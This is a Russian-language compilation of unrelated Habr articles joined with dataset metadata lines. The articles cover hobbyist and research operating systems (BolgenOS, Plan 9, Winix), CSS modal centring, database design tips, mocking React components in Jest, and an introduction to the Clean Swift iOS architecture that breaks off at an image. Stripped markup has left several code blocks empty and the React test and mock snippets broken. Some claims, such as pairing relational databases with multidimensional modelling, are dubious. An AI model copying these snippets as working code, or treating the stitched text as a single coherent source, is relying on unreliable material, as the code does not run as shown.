*Концептуальная плата [REX](https://dl.acm.org/doi/pdf/10.1145/1275462.1275470) и простой процессор WRAMP разработаны специально для обучения студентов компьютерной архитектуре, системному программированию и ассемблеру*
Десять лет назад ходили анекдоты про [Дениса Попова](https://www.linux.org.ru/forum/development/4387601), который долго и упорно настаивал, что написал свою операционную систему «с нуля». Это считалось своеобразным синонимом «изобрести велосипед», то есть совершенно бессмысленной тратой времени. Анекдотизм ситуации состоял в том, что школьник из Нижнего Тагила скопировал Ubuntu, но был искренне убеждён в уникальности своего проекта.
Но действительно честная попытка написать свою операционку — не такое уж и бесцельное занятие (кстати, как сконструировать велосипед с нуля). По ходу дела может оказаться, что некоторые казавшиеся «очевидными» детали современных ОС [спроектированы совсем не оптимально](https://habr.com/ru/post/321652/). Или вовсе не нужны.
Если бы ядро Unix писали сегодня, оно выглядело бы иначе. Подобные эксперименты могут напомнить о некоторых фундаментальных изъянах, несовершенствах или рудиментах современных ОС, на которые мы привычно закрываем глаза.
Человек, которого до сих пор вспоминают
=======================================
Наверное, на фразе «новая операционная система с нуля» линуксоиды со стажем тепло и ласково улыбаются, вспоминая легендарную BolgenOS.
История началась с [поста на ЛОРе](https://www.linux.org.ru/forum/development/4387601) от 31 декабря 2009 года, который впоследствии разошёлся на мемы:
> *«Привет всем кто пользуется системой Linux! Я пишу систему (точнее собираю для нее дистрибутив, вскоре будет готова). Назвал ее Bolgenos. Дописал на qt4 программы для GNOME (пока это основная среда рабочего стола), добавил апплеты для панелей и переписал модуль загрузки на свой лад. Систему я делаю с нуля (не переделывая Debian или Ubuntu). В качестве шелла Bash, а загрузчик GRUB. Установщик для системы я написал, и работает он в графическом режиме. Будет ориентирована на российских пользователей (но английский я оставил).
>
>
>
> Уважаемые пользователи Linux пишите то что Вы хотите увидеть в этой системе или как говорится ваши пожелания. По возможности постараюсь включить всё в дистрибутив и сделать его как можно удобнее, обещаю его онлайн поддерживать :-)»*
Как выяснилось впоследствии, автор не шутил. «Гениальным» программистом оказался Денис Попов, ученик 11-го класса школы №55 из Нижнего Тагила. На некоторое время «российский умелец» стал звездой теленовостей, презентация своей сборки Ubuntu он провёл на форуме «Юные интеллектуалы Среднего Урала».
В вышеупомянутом треде Денис пожаловался на недоброжелателей: «Такие люди как вы постоянно пишут, что у меня это не получится. Я докажу всем, что мой проект станет лучше, чем Debian».
[Анонс BolgenOS](https://web.archive.org/web/20120323000759/http://habrahabr.ru/post/95087/) долгое время занимал [1-е место среди самых заминусованных топиков на Хабре](https://habr.com/ru/post/145045/) (?268), пока не убыл удалён создателем (карму опустили до ?641).
Хотя имя Дениса Попова со временем стало нарицательным, как сама BolgenOS, «Антивирус Попова» (ClamAV) и «нескучные обои», однако всей компьютерной тусовке школьник убедительно доказал: [синдром Даннинга-Крюгера](https://doi.apa.org/doiLanding?doi=10.1037%2F0022-3514.77.6.1121) существует. Как [заявил](https://www.linux.org.ru/forum/development/4387601?cid=4388423) Денис на форуме: «Когда я чего-то хочу, то я добьюсь это с такой скоростью, с какой вам это не снилось!» Здесь комментарии излишни.
Концепция научного прогресса
============================
Предполагаемое метакогнитивное искажение у российского школьника не должно отвлекать от важного факта — неизбежности научного прогресса.
Ведь никто не будет спорить, что появление новых операционных систем и браузеров неизбежно. Да, стоимость таких проектов в трудозатратах с каждым годом растёт. Но это не отменяет [фундаментальный закон о неизбежности научного прогресса](https://en.wikipedia.org/wiki/Progress#Scientific_progress). В современной науке [распространена идея, что научное знание аккумулируется со временем](https://www.cambridge.org/core/journals/european-review/article/history-science-or-art/1D3620AE5FCD4AA371AC99E352260E68). Поэтому прогресс часто считается «объективным законом реальности». Другими словами, многие учёные современности уверены в том, что учёные будущего будут знать больше их. И чем дальше в будущее — тем больше их знание. Кто-то может сделать вывод, что если прогресс стремится к бесконечности в случае линейного накопления знаний, то современные знания о мире стремятся к нулю.
Так или иначе, но желание создавать глобальные проекты «с нуля» кажется вполне естественным следствием концепции научного прогресса.
«Улучшенный Unix»
=================
Создатели Unix — Деннис Ритчи, Кен Томпсон и их коллеги из Bell Labs — гениальные люди. Естественно, они понимают, что никакая программа по определению не может быть идеальна. **Многое зависит от контекста, в котором создаётся проект.**
Другими словами, если бы ядро Unix писали сегодня, оно бы выглядело иначе. Это довольно важный факт, учитывая статус \*nix-подобных систем в современном мире как самого популярного семейства ОС практически на всех типах компьютеров, кроме десктопов.
Сами создатели Unix в 80-е годы реализовали альтернативный дизайн операционной системы, которую в шутку назвали [Plan 9](https://github.com/brho/plan9). Эта система должна была преодолеть принципиальные недостатки Unix. В частности, дизайн базируется на трёх основных принципах:
> * Все ресурсы представлены как файлы и доступны в иерархической файловой системе.
> * Локальные и удалённые ресурсы не различаются, для доступа к ним реализован стандартный протокол 9P.
> * У каждой группы процессов собственное пространство имён, собранное из файловых иерархий, предоставленных различными ресурсами.
>
В отличие от современных операционных систем, в которых пользователь получает доступ к конкретному компьютеру, в Plan 9 он получает доступ к распределённой вычислительной среде. Например, в оригинальной статье [«Использование пространств имён в Plan 9»](http://9p.io/sys/doc/names.html) (Роб Пайк, Дэйв Пресотто, Кен Томпсон, Говард Трики, Фил Уинтерботтом) приводится такой пример: файл `/dev/mouse` на компьютере содержит последний 1 байт состояния кнопки и 4 байта состояния каждой из координат курсора мыши, причём это может быть не тот компьютер, к которому физически подключена мышь. Наверное, формулировка звучит немного странно для пользователей, привыкших к терминам централизованной вычислительной среды. По факту в Plan 9 команда `cpu` запускает удалённую сессию на вычислительном сервере, **куда экспортируется локальное пространство имён, включая мышь и дисплей**. Таким образом, удалённые программы могут нормально взаимодействовать с мышью на локальном терминале, словно это их мышь.
Впоследствии некоторые идеи Plan 9 были частично реализованы в других ОС:
* концепция служб через файловую систему частично реализована в Linux;
* минималистский дизайн оконной системы Plan 9 многократно воспроизведён в разных ОС;
* кодировка символов UTF-8, повсеместно используемая сегодня в браузерах, была изобретена и впервые реализована в Plan 9;
* дизайн Plan 9 предвосхитил сегодняшние микросервисные архитектуры более чем на десятилетие.
Другие идеи распределённого дизайна, возможно, будут реализованы в будущем.
Мини-Unix
=========
Одна из современных попыток создания новых ОС — [Winix](https://github.com/halfer53/winix). Минималистичная ОС, написанная исключительно в образовательных целях для микропроцессорной архитектуры Waikato RISC Architecture Microprocessor (WRAMP). Процессор сам про себе разработан [в образовательных целях](https://books.google.nl/books/about/Waikato_RISC_Architecture_Microprocessor.html), с кастомным ассемблером, похожим на [MIPS](https://en.wikipedia.org/wiki/MIPS_architecture). Автор говорит, что в разработке вдохновлялся идеями ОС [Minix](http://www.minix3.org/) (сокращение от mini-Unix).
Winix включает в себя полнофункциональное ядро с управлением процессами и памятью, файловую систему в памяти (in-memory file system, типа ramdisk) с почти полной поддержкой стандарта POSIX, контроль исключений и оболочку Bourne с интерактивным терминалом, поддержкой конвейеров из нескольких команд с перенаправлением ввода-вывода и т.д.
Запустить систему можно в [программном симуляторе](https://github.com/halfer53/rexsimulator/releases) платы REX с процессором WRAMP. И эта плата, и симулятор разработаны специально для обучения студентов архитектуре компьютерных систем. Подробнее см. в [научной статье](https://dl.acm.org/doi/pdf/10.1145/1275462.1275470).
В него загружаем [бинарник Winix](https://github.com/halfer53/winix/releases) (кнопка `Quick Load`). Терминал работает через `Serial Port 1`:
Список поддерживаемых команд см. [здесь](https://github.com/halfer53/winix/tree/master/user/commands). Например, вот [snake.c](https://github.com/halfer53/winix/blob/master/user/commands/snake.c), игра «Змейка».
Благодаря этому проекту можно примерно представить трудозатраты на создание новой операционной системы. В данном случае у одного разработчика это заняло примерно пять лет. Здесь хотя минималистичная, но оригинальная система с нуля, а не кастомная сборка Ubuntu.
Winix разработана для платформы RISC, а сейчас стремительно набирает популярность открытая архитектура RISC-V. Всё больше компаний начинают выпускать совместимое оборудование, да и разные ОС начинают поддерживать RISC.
В наше время появление новой операционной системы — вовсе не уникальное событие. Например, из последних концептуальных ОС можно назвать [Barrelfish](http://www.barrelfish.org/), [Unikraft](https://unikraft.org/), [RedLeaf](https://mars-research.github.io/redleaf), ту же [Fuchsia](https://fuchsia.googlesource.com/), хотя она ориентирована на мобильные устройства. Активность на конференциях вроде [SOSP](https://dl.acm.org/conference/sosp), [OSDI](https://dblp.org/db/conf/osdi/index.html), [EuroSys](http://www.eurosys.org/) и [HotOS](https://sigops.org/s/conferences/hotos/2021/) демонстрирует, что в системной разработке в последние годы идут очень бурные и интересные исследования. Хотя 20 лет назад Роб Пайк пессимистично [высказался о застое в данной области](http://doc.cat-v.org/bell_labs/utah2000/utah2000.html), но сейчас это точно не так. Может быть, количество новых операционных систем на конференциях даже вернулось на пиковый уровень 1980-х годов (6-7 в год). Но остаётся некое ощущение, что академические разработки в сфере системного программирования получают недостаточно внимания со стороны бизнеса и государства, поэтому учёные уходят в другие области computer science вроде дата-майнинга и аналитики, где финансирование куда лучше.
> Статьи на Хабре
> ===============
>
>
>
> * [«Пишем свою ОС: Выпуск 1»](https://habr.com/ru/post/101810/)
> * [«Создаём новую OS. Действительно новую, реально операционную, и правда — систему»](https://habr.com/ru/company/intel/blog/300884/)
>
---
[](http://miran.ru/) | https://habr.com/ru/post/566734/ | null | ru | null |
# Выравнивание модального окна по центру
Мой первый пост.
Центрирование блока относительно другого блока относительно часто-попадающаяся задача, это очередное ее решение. Для меня оно стало самым универсальным и покрывающим все кейсы, с которыми я когда-либо сталкивался.
**Формулировка**
Центрировать модальное окно по горизонтали и вертикали.
**Условия**
* Габариты модалки могут быть указаны в любых единицах измерения. Или же могут быть не указаны вовсе.
* Отзывчивость. При ресайзе окна, модалка подстраивается под текущий размер.
* Если модалка сверстана так, что у нее еcть min-height/min-width, то при ресайзе окна до меньших размеров должен появляться скролл.
* IE 9+.
* Позиционирование должны быть реализовано на CSS, без применения JS.
Как это делалось раньше?
Если габариты модального окна заданы, то все просто:
```
```
```
* {
box-sizing: border-box;
}
.fixed-overlay {
position: fixed;
overflow: auto;
left: 0;
top: 0;
width: 100%;
height: 100%;
background-color: rgba(0,0,0,0.5);
}
.modal {
position: absolute;
left: 50%;
top: 50%;
margin-left: -100px;
margin-top: -75px;
}
.modal_container {
background-color: #fff;
width: 200px;
height: 150px;
}
```
Работает прекрасно, нареканий нет. Но нам такой способ не подходит, ибо мы не хотим зависеть от размеров модального окна.
Первый способ, который удовлетворяет всем перечисленным требованиям я увидел у [Jabher](http://habrahabr.ru/users/jabher/). Речь идет об использовании свойства transform и его значения translate вместо margin. Вот как это работает:
```
.modal {
position: absolute;
left: 50%;
top: 50%;
transform: translate(-50%, -50%);
}
.modal_container {
padding: 20px;
background-color: #fff;
color: #000;
}
```
Магия! Теперь мы не зависим от габаритов .modal\_container. Все потому что translate отталкивается от размеров элемента, к которому применятся свойство. Напомню, что процентные значения свойства margin будут вычисляться относительно размеров родителя, что нам явно не подходит.
Теперь о минусах. Используя свойство transform, мы столкнемся с субпиксельным рендерингом. Проще говоря, контент при ресайзе начнет замыливаться, результат выглядит скверно, особенно это заметно при рендере текста и тонких линий, вроде однопиксельных бордеров. Я не смог найти решений этой проблемы, если у вас они есть — пожалуйста, поделитесь в комментариях.
#### Тадаам
Не так давно я нашел изумительный по своей простоте способ. На помощь спешат инлайн блоки. Их легко центрировать по-горизонтали, навесив text-align: center на родителя. Немного подумав, я вспомнил про замечательное свойство vertical-align. Как оно работает? Если этому свойству задать значение middle, то элементы с этим свойством будут центрироваться по-вертикали **друг относительно друга**. А это значит, что помимо элемента .modal, в .fixed-overlay должен быть еще кто-то, кто поможет нашей модалке встать по-центру окна. Высота этого кого-то должна быть равна высоте .fixed-overlay. На роль этого помощника напрашивается псевдоэлемент:
```
```
```
.fixed-overlay__modal {
text-align: center;
white-space: nowrap;
}
.fixed-overlay__modal::after {
display: inline-block;
vertical-align: middle;
width: 0;
height: 100%;
content: '';
}
.modal {
display: inline-block;
vertical-align: middle;
}
.modal_container {
margin: 50px;
padding: 20px;
min-width: 200px;
text-align: left;
white-space: normal;
background-color: #fff;
color: #000;
}
```
**Пример:** [jsfiddle.net/yvp0jdnw](http://jsfiddle.net/yvp0jdnw/)
Буду рад любой критике, это мой первый опыт написания статей. | https://habr.com/ru/post/252769/ | null | ru | null |
# Проектирование Базы Данных. Лучшие практики
*В преддверии старта очередного потока по курсу [«Базы данных»](https://otus.pw/3WyH/) подготовили небольшой авторский материал с важными советами по конструированию БД. Надеемся данный материал будет полезен для вас.*
---
Базы данных повсюду: от простейших блогов и директорий до надежных информационных систем и крупных социальных сетей. Не настолько важно, простая или сложная база данных, насколько существенно спроектировать ее правильно. Когда база спроектирована бездумно и без четкого понимания цели, она не просто не эффективна, но и дальнейшая работа с базой будет реальным мучением, непроходимым лесом для пользователей. Вот несколько советов по конструированию базы данных, которые помогут создать полезный и простой в использовании продукт.
### 1. Определите, для чего таблица и какова ее структура
Сегодня такие методы разработки, как Scrum или RAD (быстрая разработка приложения), помогают ИТ-командам быстро разрабатывать базы данных. Однако, в погоне за временем очень велик соблазн погрузиться сразу в построение базы, смутно представляя, в чем же сама цель, какие должны быть конечные результаты.
Как будто команда нацелена на эффективную, скоростную работу, но это мираж. Чем дальше и быстрее погружаться вглубь проекта, тем больше потребуется времени, чтобы выявить и изменить ошибки в проекте базы.
Поэтому первое, что нужно решить — это определить цель для вашей базы данных. Для какого типа приложения разрабатывается база? Пользователь будет лишь работать с записями и нужно уделить внимание транзакциям или его больше интересует аналитика данных? Где база должна быть развернута? Будет ли она отслеживать поведение клиентов или же просто управлять отношениями между ними?
Чем раньше команда проектирования ответит на эти вопросы, тем мягче, плавнее пройдет процесс проектирования базы данных.
### 2. Какие данные выбрать для хранения?
Планируйте наперед. Мысли о том, что в будущем будет делать сайт или система, для которых проектируется база данных. Важно выходить за рамки простых требований технического задания. Только пожалуйста, не начинайте размышлять сразу обо всех возможных типах данных, которые когда-либо будет хранить пользователь. Лучше подумайте о том, смогут ли пользователи писать посты, загружать документы или фотографии или обмениваться сообщениями. Если это так, то в базе нужно выделить место под них.
Работайте с командой, департаментом или организацией, для которых в будущем будет поддерживаться проектируемая база. Общайтесь с людьми разных уровней, от специалистов по работе с клиентами до глав отделов. Так с помощью обратной связи вы получите четкое представление о требованиях компании.
Неизбежно потребности пользователей в рамках даже одного департамента будут конфликтовать. Если вы столкнетесь с этим, не бойтесь опереться на собственный опыт и найти компромисс, который устроит все стороны и будет удовлетворять конечной цели БД. Будьте уверенны: в будущем вам прилетит +100500 в карму и гора печенек.
### 3. Моделируйте данные с осторожностью
Есть несколько ключевых моментов, на которые стоит обратить внимание при моделировании данных. Как мы уже ранее говорили, от назначения базы данных зависит, какие методы использовать при моделировании. Если мы проектируем базу данных для оперативной обработки записей (OLTP), иными словами для их создания, редактирования и удаления, то используем моделирование транзакций. Если же база данных должна быть реляционной, то лучше всего применять многомерное моделирование.
Во время моделирования строятся концептуальные (CDM), физические (PDM) и логические (LDM) модели данных.
Концептуальные модели описывают сущности и типы данных, которые они включают, а также отношения между ними. Делите ваши данные на логические куски — так намного проще жить.
**Главное — мера, не переусердствуйте.**
Если сущность очень сложно классифицировать одним словом или фразой, то пришло время использовать подтипы (дочерние сущности).
Если же сущность ведет собственную жизнь, имеет атрибуты, которые описывают ее поведение и ее вид, а также отношения с другими объектами, то смело можно использовать не только подтип, но и супертип ( родительская сущность).
Если пренебречь этим правилом, другие разработчики запутаются в вашей модели и не до конца будут понимать данные и правила, как их собирать.
Реализуются концептуальные модели с помощью логических. Эти модели словно дорожная карта для проектирования физической базы данных. В логической модели выделяются сущности бизнес-данных, определяются типы данных, статус ключа правила, которые регулируют отношения между данными.
Затем Логическая модель данных сопоставляется с выбранной заранее платформой СУБД (системы управления базами данных) и получается Физическая модель. Она описывает способ физического хранения данных.
### 4. Используйте подходящие типы данных
Применение неправильного типа данных может привести к менее точным данным, трудностям в объединении таблиц, синхронизации атрибутов и к раздуванию размеров файлов.
Чтобы гарантировать целостность информации, атрибут должен содержать только приемлемые для него типы данных. Если в базу данных вносится возраст, то убедитесь, что в колонке хранятся целые числа из максимум 3 цифр.
Создавайте минимум пустых столбцов со значением NULL. Если вы создаете все столбцы как NULL, это грубая ошибка. Если же вам нужен пустой столбец для исполнения конкретной бизнес-функции, когда данные неизвестны или еще не имеют смысла, то смело создавайте. Ведь мы же не можем заранее заполнить столбцы “Дата смерти” или “Дата увольнения”, мы же не предсказатели тыкать пальцем в небо :-).
Большинство софта для моделирования (ER/Studio, MySQL Workbench, SQL DBM, gliffy`.`com) данных позволяет создавать прототипы областей данных. Так гарантируется не только правильный тип данных, логика приложения и хорошая производительность, но также и обязательное задание значения.
### 5. Предпочитайте естественное
Когда вы решаете, какой столбец в таблице выбрать в качестве ключа, всегда обращайте внимание, какие поля может редактировать пользователь. Никогда не выбирайте их в качестве ключа — плохая идея. Произойти может все что угодно, а вы должны гарантировать уникальность.
Лучше всего использовать естественный, или бизнес, ключ (natural key). Он имеет смысловое значение, так вы избежите дублирования в базе данных.
Если только бизнес-ключ не уникален (имя, фамилия, должность) и повторяется в разных строках таблицы или он должен изменяться, то первичным ключом стоит назначить сгенерированный искусственный, суррогатный ключ (artificial key).
### 6. Нормализуйте в меру
Чтобы эффективно организовать данные в БД, необходимо следовать набору рекомендаций и нормализовать базу данных. Существует пять нормальных форм, которым нужно следовать.
С помощью нормализации вы избежите избыточности и обеспечите целостность данных, использующихся в приложении или на сайте.
Как всегда, всего должно быть в меру, даже нормализации. Если в БД слишком много таблиц с одинаковыми уникальными ключами, то вы увлеклись и чрезмерно нормализовали базу данных. Излишняя нормализация негативно влияет на производительность базы данных.
### 7. Тестируйте пораньше, тестируйте почаще
Тестовый план и надлежащее тестирование должны быть частью проектирования базы данных.
Лучше всего тестировать базу данных путем Continuous Integration (непрерывной интеграции). Моделируйте сценарий “Один день из жизни базы данных” и проверяйте, все ли граничные случаи обрабатываются, какие взаимодействия пользователей вероятны. Чем раньше вы найдете баги, тем больше сэкономите и времени, и денег.
Это всего лишь семь советов, с помощью которых вы можете спроектировать отличную базу данных по производительности и эффективности. Если будете следовать им, вы избежите большинства головных болей в будущем. Эти советы — всего лишь верхушка айсберга в моделировании базы данных. Существует огромное число лайфхаков. Какими пользуетесь вы? | https://habr.com/ru/post/471016/ | null | ru | null |
# Тестирование нескольких экземпляров одного и того же мок компонента
> Привет, Хабр. Стартовал набор учащихся на курс [«Автоматизация тестирования на JavaScript»](https://otus.pw/5kL0/). В связи с этим приглашаем всех желающих посетить бесплатный демо-урок по теме: [«Что нужно знать о JS тестировщику»](https://otus.pw/ID3H/).
>
> А сейчас делимся с вами продолжением серии полезных переводов.
>
>
---
Мок [React компоненты с Testing Library (5 частей серии)](https://dev.to/d_ir/series/8715):
1. [Моки не кусаются! Осваиваем мокинг с React Testing Library](https://habr.com/ru/company/otus/blog/522500/)
2. [Базовый формат моков React компонентов](https://habr.com/ru/company/otus/blog/524292/)
3. [Проверка дочерних элементов передаваемых в мок React компонента](https://habr.com/ru/company/otus/blog/524662/)
4. **Тестирование нескольких экземпляров одного и того же мок компонента**
5. Держаться подальше от неприятностей
Это четвертая часть серии по тестированию React с мок компонентами. Во второй части мы рассмотрели базовую форму мок компонентов. В третьей части мы добавили возможность передачи дочерних компонентов. Теперь мы рассмотрим самую сложную часть головоломки: работу с несколькими экземплярами одного и того же мока.
Все примеры кода для этого поста доступны в следующем обзоре.
### dirv / мок-react-компоненты
#### Пример использования заглушки React компонентов.
Продолжим работу с новым компонентом `TopFivePostsPage`, который, пожалуй, неудивительно отображает пять лучших постов.
```
import { PostContent } from "./PostContent"
export const TopFivePostsPage = () => (
);
```
Для тестирования мы используем `queryAllByTestId` в сочетании с матчером `toHaveLength`.
```
describe("BlogPage", () => {
it("renders five PostContent components", () => {
render()
expect(screen.queryAllByTestId("PostContent"))
.toHaveLength(5)
})
})
```
И для нашего второго теста, мы можем использовать пять операторов ожидания, каждый с различными значениями свойства.
```
it("constructs a PostContent for each top 5 entry", () => {
render()
expect(PostContent).toHaveBeenCalledWith(
{ id: "top1" }, expect.anything())
expect(PostContent).toHaveBeenCalledWith(
{ id: "top2" }, expect.anything())
expect(PostContent).toHaveBeenCalledWith(
{ id: "top3" }, expect.anything())
expect(PostContent).toHaveBeenCalledWith(
{ id: "top4" }, expect.anything())
expect(PostContent).toHaveBeenCalledWith(
{ id: "top5" }, expect.anything())
})
```
Но в этом есть что-то не совсем правильное. Мы не тестировали порядок рендеринга. Матчер `ToHaveBeenCalledWith` не заботится о порядке.
Вместо этого мы можем использовать `.mock.calls`.
```
it("renders PostContent items in the right order", () => {
render()
const postContentIds = PostContent.mock.calls.map(
args => args[0].id)
expect(postContentIds).toEqual([
"top1", "top2", "top3", "top4", "top5"
])
})
```
Если вы попробуете запустить его после первых двух тестов для `TopFivePostsPage`, вы получите странную ошибку, что `PostContent` на самом деле вызывался пятнадцать раз! Это из-за того, что нам нужно очистить мок между каждым тестом.
Мы делаем это, добавляя свойство `clearMocks` в нашу конфигурацию Jest. Вот мой `package.json` для сравнения.
```
"jest": {
"transform": {
"^.+\\.jsx?$": "babel-jest"
},
"setupFilesAfterEnv": ["./jest.setup.js"],
"clearMocks": true
}
```
Обратите внимание, что последний тест, фактические делает предыдущий тест ненужным, так что вы можете безопасно удалить его.
#### Когда этого недостаточно: мок экземпляр идентификации
Иногда понадобится больше, чем это. Например, вам нужно проверить передаваемые дочерние элементы, и у вас также есть несколько экземпляров. В этом случае можно использовать один из свойств компонента, чтобы дать уникальный идентификатор теста для вашего экземпляра компонента.
```
jest.mock("../src/PostContent", () => ({
PostContent: jest.fn(({ children, id }) => (
{children}
))
}))
```
Лично мне это очень не нравится. Это сложно, и сложнее, чем мне кажется. Но это существует, и иногда ее нужно использовать.
Помните о том, что моки существуют для того, чтобы ускорить тестирование, а тестирование — для того, чтобы ускорить разработку. Когда моки становятся слишком сложными, приходится тратить больше времени на их прочтение и поддержание в рабочем состоянии, поэтому они замедляют вашу работу. Об этом я расскажу подробнее в следующей части.
**Еще больше уроков**
Что мы изучили?
* Используйте `queryAllByTestId` при тестировании нескольких экземпляров мок компонента.
* Используйте `.mock.calls` для проверки упорядочения вызовов или для тестирования свойств рендера.
* Используйте настройку конфигурации Jest's `clearMocks`, чтобы убедиться, что ваши заглушки очищены перед каждым тестом.
* Если все остальное не удается, вы можете использовать свойства в результатах рендеринга, чтобы дать уникальные значения `data-testid` для каждого экземпляра.
* Следите за тем, чтобы моки были максимально простыми!
Вот и все. В заключительной части мы рассмотрим, почему моки могут доставить вам неприятности, и как их избежать.
Держаться подальше от неприятностей
-----------------------------------
Это заключительная часть серии о мок React компонентах. Мы закончим ее с кратким описанием, а затем посмотрим на некоторые общие трудности, с которыми вы столкнетесь.
Все примеры кода для этого поста доступны в следующем обзоре.
### dirv / мок-react-компоненты
#### Пример того, как использовать заглушку React компонентов.
Моки — чрезвычайно сложный тестовый раздел обеспечения. Вот почему некоторые преподаватели не используют его и не учат ему.
Но освоение моков даст вам дополнительное оружие для борьбы с неустойчивыми, затянутыми во времени тестами.
Так как же вы можете быть уверены, что вы будете в безопасности с моками? Просто: придерживайтесь шаблонов!
Если вы будете придерживаться шаблонов, которые я вам покажу в этой серии примеров, у вас не должно быть проблем.
Начните с базовой мок функции, которая генерирует a `div` с прикрепленным `data-testid`. Мы смотрели на это во [второй части](https://habr.com/ru/company/otus/blog/524292/).
```
jest.mock("../src/PostContent", () => ({
PostContent: jest.fn(() => (
))
}))
```
Если понадобится, вы тоже можете сгенерировать дочерние элементы. Это было описано в [третьей части](https://habr.com/ru/company/otus/blog/524662/).
```
jest.mock("../src/PostContent", () => ({
PostContent: jest.fn(({ children }) => (
{children}
))
}))
```
Если вам действительно это нужно, вы можете использовать значение свойства, чтобы сделать уникальные `data-testids`. Но это часто бывает ненужной сложностью. Это было в [четвертой части.](https://dev.to/d_ir/testing-multiple-instances-of-the-same-mocked-component-c16)
```
jest.mock("../src/PostContent", () => ({
PostContent: jest.fn(({ children, id }) => {children})
}))
```
Я не люблю давать советы, чего избегать: каждая техника имеет свое место. Но если бы я назвал хоть что-то, с чем надо быть осторожным, я бы сказал, что это будет создание фиктивных объектов и, в частности, использование функции Jest `mockImplementation`.
Почему? Ну, основная причина использования фиктивных объектов и заглушек заключается в том, чтобы помочь построить независимые тестовые решения, которые не будут вас тормозить.
Важным способом сделать это является ограничение вашего кода небольшим количеством шаблонов. Это немного похоже на набор стандартов кодирования, но на более высоком уровне.
Когда вы начинаете строить фиктивные объекты и сложные мок реализации, вы отходите от этой цели, потому что теперь в ваших тестах есть логика: вы не можете смотреть на них и сразу же знать, как они работают. И любое изменение в коде готового программного продукта требует от вас переосмысления фиктивного кода реализации, прежде чем неизбежно изменять и его.
**Что, если ни один из шаблонов не подходит для ваших тестовых решений?**
Если вы застряли, первый вопрос, который вы должны задать себе: насколько тестируем мой код готового программного продукта?
**Потому что не моки причиняют боль, а код готового программного продукта, который не структурирован для тестирования.**
#### Улучшить тестируемость вашего кода
Проблема номер один, которую я вижу в кодовых базах React, это очень большие компоненты, которые выражают много разных идей. Часто новые функции просто наваливаются друг на друга, вместо того, чтобы тратить время на разделение абстракций или на поиск логической организационной структуры.
Так что хорошим началом будет разделение ваших больших компонентов.
Насколько велик размер? Размер файла часто является хорошей метрикой для использования: для меня подозрительным является нечто большее, чем 100 строк. И многие из моих компонентов имеют размер менее 10 строк!
Что, если не понятно, как разделить компонент? Начните с принципа единой ответственности: каждый компонент должен делать только одно и только одно.
Конечно, понятие одной «вещи» оставляет вам достаточно веревки, чтобы повеситься. Поиск элегантных «вещей» — это большая сложность в проектировании программного обеспечения.
Если вас интересует эта тема, то я бы посоветовал узнать о связях, сцеплении и [сопряжении](https://vimeo.com/10837903), все это относится к компонентам React, даже если вы не часто будете слышать, как о них говорят преподаватели React.
**Куда дальше?**
В этой серии я показал вам очень специфический способ тестирования React компонентов. Если вас интересует более подробная теория и история этих методик, тогда взгляните на мою книгу "[Освоение разработки, основанной на тестировании React компонентов](https://www.packtpub.com/product/mastering-react-test-driven-development/9781789133417)". В ней не используется библиотека React Testing Library, а исследуется тестирование с первых принципов. Это позволит вам глубже понять, что такое успешное React тестирование.
---
> [Узнать подробнее о курсе](https://otus.pw/5kL0/) «Автоматизация тестирования на JavaScript».
>
> [Записаться на открытый вебинар](https://otus.pw/ID3H/) «Что нужно знать о JS тестировщику».
>
>
[**ЗАБРАТЬ СКИДКУ**](https://otus.pw/6sRG/) | https://habr.com/ru/post/539296/ | null | ru | null |
# Общее представление об архитектуре Clean Swift
Привет, читатель!
В этой статье я расскажу об архитектуре iOS приложений — [Clean Swift](http://clean-swift.com). Мы рассмотрим основные теоретические моменты и разберем пример на практике.
Теория
------
Для начала разберем основную терминологию архитектуры. В **Clean Swift** приложение состоит из сцен, т.е. каждый экран приложения — это одна сцена. Основное взаимодействие в сцене идет через последовательный цикл между компонентами **ViewController** -> **Interactor** -> **Presenter**. Это называется **VIP** цикл.
Мостом между компонентами выступает файл **Models**, который хранит в себе передаваемые данные. Так же есть **Router**, отвечающий за переход и передачу данных между сценами, и **Worker**, который берет часть логики **Interactor’a** на себя.
### View
Storyboard’ы, XIB’ы или UI элементы, написанные через код.
### ViewController
Отвечает только за конфигурацию и взаимодействие с **View**. В контроллере не должно находиться никакой бизнес логики, взаимодействия с сетью, вычислений и так далее.
Его задача обрабатывать события с **View**, отображать или отправлять данные (без обработки и проверок) в **Interactor**.
### Interactor
Содержит в себе бизнес логику сцены.
Он работает с сетью, базой данных и модулями устройства.
Interactor получает запрос из **ViewController’a** (с данными или пустой), обрабатывает его и, если это требуется, передает новые данные в **Presenter**.
### Presenter
Занимается подготовкой данных для отображения.
Как пример, добавить маску на номер телефона или сделать первую букву в названии заглавной.
Обрабатывает данные, получение из **Interactor’a**, после чего отправляет их обратно во **ViewController**.
### Models
Набор структур для передачи данных между компонентами **VIP** цикла. Каждый круг цикла имеет в себе 3 вида структур:
* **Request** — Структура с данными (текст из TextField и т.д.) для передачи из **ViewController'a** в **Interactor**
* **Response** — Структура с данными (загруженными из сети и т.д.) для передачи из **Interactor** в **Presenter**
* **ViewModel** — Структура с обработанными данными (форматирование текста и т.д.) в Presenter’e для передачи обратно во **ViewController**
### Worker
Разгружает **Interactor**, забирая на себя часть бизнес логики приложения, если **Interactor** стремительно разрастается.
Так же можно создавать общие для всех сцен **Worker’ы**, если их функционал используется в нескольких сценах.
Как пример, в **Worker** можно выносить логику работы с сетью или базой данных.
### Router
В **Router** выносится вся логика, отвечающая за переходы и передачу данных между сценами.
---
Для прояснения картины работы **VIP** цикла приведу стандартный пример — авторизация.
1. Пользователь ввел свой логин и пароль, нажал на кнопку авторизации
2. У **ViewController** срабатывает **IBAction**, после чего создается структура с введенными, в TextField’ы, данными пользователя (Models -> Request)
3. Созданная структура передается в метод **fetchUser** в **Interactor’e**
4. **Interactor** отправляет запрос в сеть и получает ответ об успешности авторизации
5. На основе полученных данных, создает структуру с результатом (Models -> Response) и передается в метод **presentUser** в **Presenter’e**
6. Presenter форматирует данные по необходимости и возвращает их (Models -> ViewModel) в метод **displayUser** в **ViewController’e**
7. **ViewController** отображает полученные данные пользователю. В случае с авторизацией, может выводиться ошибка или срабатывать переход на другую сцену с помощью **Router**
Таким образом, мы получаем единую и последовательную структуру, с распределением обязанностей на компоненты.
Практика
--------
А теперь разберем небольшой практический пример, который покажет как проходит **VIP** цикл. В этом примере мы сымитируем подгрузку данных при открытии сцены (экрана). Основные участки кода я пометил комментариями.
Весь **VIP** цикл завязан на протоколах, что обеспечивает возможностью подмены каких-либо модулей без нарушения работы приложения.
